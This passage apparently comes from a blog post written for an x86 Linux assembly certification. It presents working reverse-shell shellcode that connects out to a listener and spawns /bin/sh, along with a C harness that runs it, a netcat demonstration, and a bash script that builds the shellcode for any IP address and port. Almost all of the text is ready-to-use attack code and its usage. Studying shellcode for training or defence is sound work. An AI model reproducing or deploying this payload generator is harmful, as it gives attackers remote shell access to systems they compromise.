"\x6a\x66\x58\x31\xdb\x43\x31\xd2\x52\x6a\x01\x6a\x02\x89\xe1\xcd\x80\x89\xc6\x6a\x66\x58\x43\x68\x7f\x01\x01\x01\x66\x68\x30\x39\x66\x53\x89\xe1\x6a\x10\x51\x56\x89\xe1\x43\xcd\x80\x89\xc6\x6a\x02\x59\xb0\x3f\xcd\x80\x49\xb0\x3f\xcd\x80\x49\xb0\x3f\xcd\x80\xb0\x0b\x52\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x52\x89\xe2\x53\x89\xe1\xcd\x80";

main()
{

	printf("Shellcode Length:  %d\n", strlen(code));

	int (*ret)() = (int(*)())code;

	ret();

}

… and it is working.

1.) Use netcat for listening on the right port

$ nc -l 12345

2.) Start the reverse shell in a second window

$ ./a.out 
Shellcode Length:  87

3.) Do stuff in the first window

ls
a.out
reverseshell.c
reverseshellds.c

The script for making the shellcode converts the given IP address and port number to hex.

#!/bin/bash

#convert the ip
ad1=`echo $1|cut -d "." -f1`
ad1=`printf "%02X" $ad1`

ad2=`echo $1|cut -d "." -f2`
ad2=`printf "%02X" $ad2`

ad3=`echo $1|cut -d "." -f3`
ad3=`printf "%02X" $ad3`

ad4=`echo $1|cut -d "." -f4`
ad4=`printf "%02X" $ad4`

iphex=`echo "\x$ad1\x$ad2\x$ad3\x$ad4"`

# convert the port
len=`echo "obase=16; $2"|bc | wc -c`
port=""

if [ "$len" == "2" ]
 then
  tmp=`echo "obase=16; $2"|bc`
  port=`echo "\\x0$tmp"`
fi

if [ "$len" == "3" ]
 then
  tmp=`echo "obase=16; $2"|bc`
  port=`echo "\\x$tmp"`
fi

if [ "$len" == "4" ]
 then
  tmp=`echo "obase=16; $2"|bc`
  tmp1=`echo "$tmp"|cut -c1-1`
  tmp2=`echo "$tmp"|cut -c2-3`
  port=`echo "\\x0$tmp1\\x$tmp2"`
fi

if [ "$len" == "5" ]
 then
  tmp=`echo "obase=16; $2"|bc`
  tmp1=`echo "$tmp"|cut -c1-2`
  tmp2=`echo "$tmp"|cut -c3-4`
  port=`echo "\\x$tmp1\\x$tmp2"`
fi

echo "ip as hex: $iphex"
echo "port as hex: $port"

echo "shellcode:"

echo "\"\x6a\x66\x58\x31\xdb\x43\x31\xd2\x52\x6a\x01\x6a\x02\x89\xe1\xcd\x80\x89\xc6\x6a\x66\x58\x43\x68$iphex\x66\x68$port\x66\x53\x89\xe1\x6a\x10\x51\x56\x89\xe1\x43\xcd\x80\x89\xc6\x6a\x02\x59\xb0\x3f\xcd\x80\x49\xb0\x3f\xcd\x80\x49\xb0\x3f\xcd\x80\xb0\x0b\x52\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x52\x89\xe2\x53\x89\xe1\xcd\x80\""

Usage

$ mkreverseshell.sh ip port

Get the code.

This blog post has been created for completing the requirements of the SecurityTube Linux Assembly Expert certification: http://securitytube-training.com/online-courses/securitytube-linux-assembly-expert/
Student ID: SLAE-342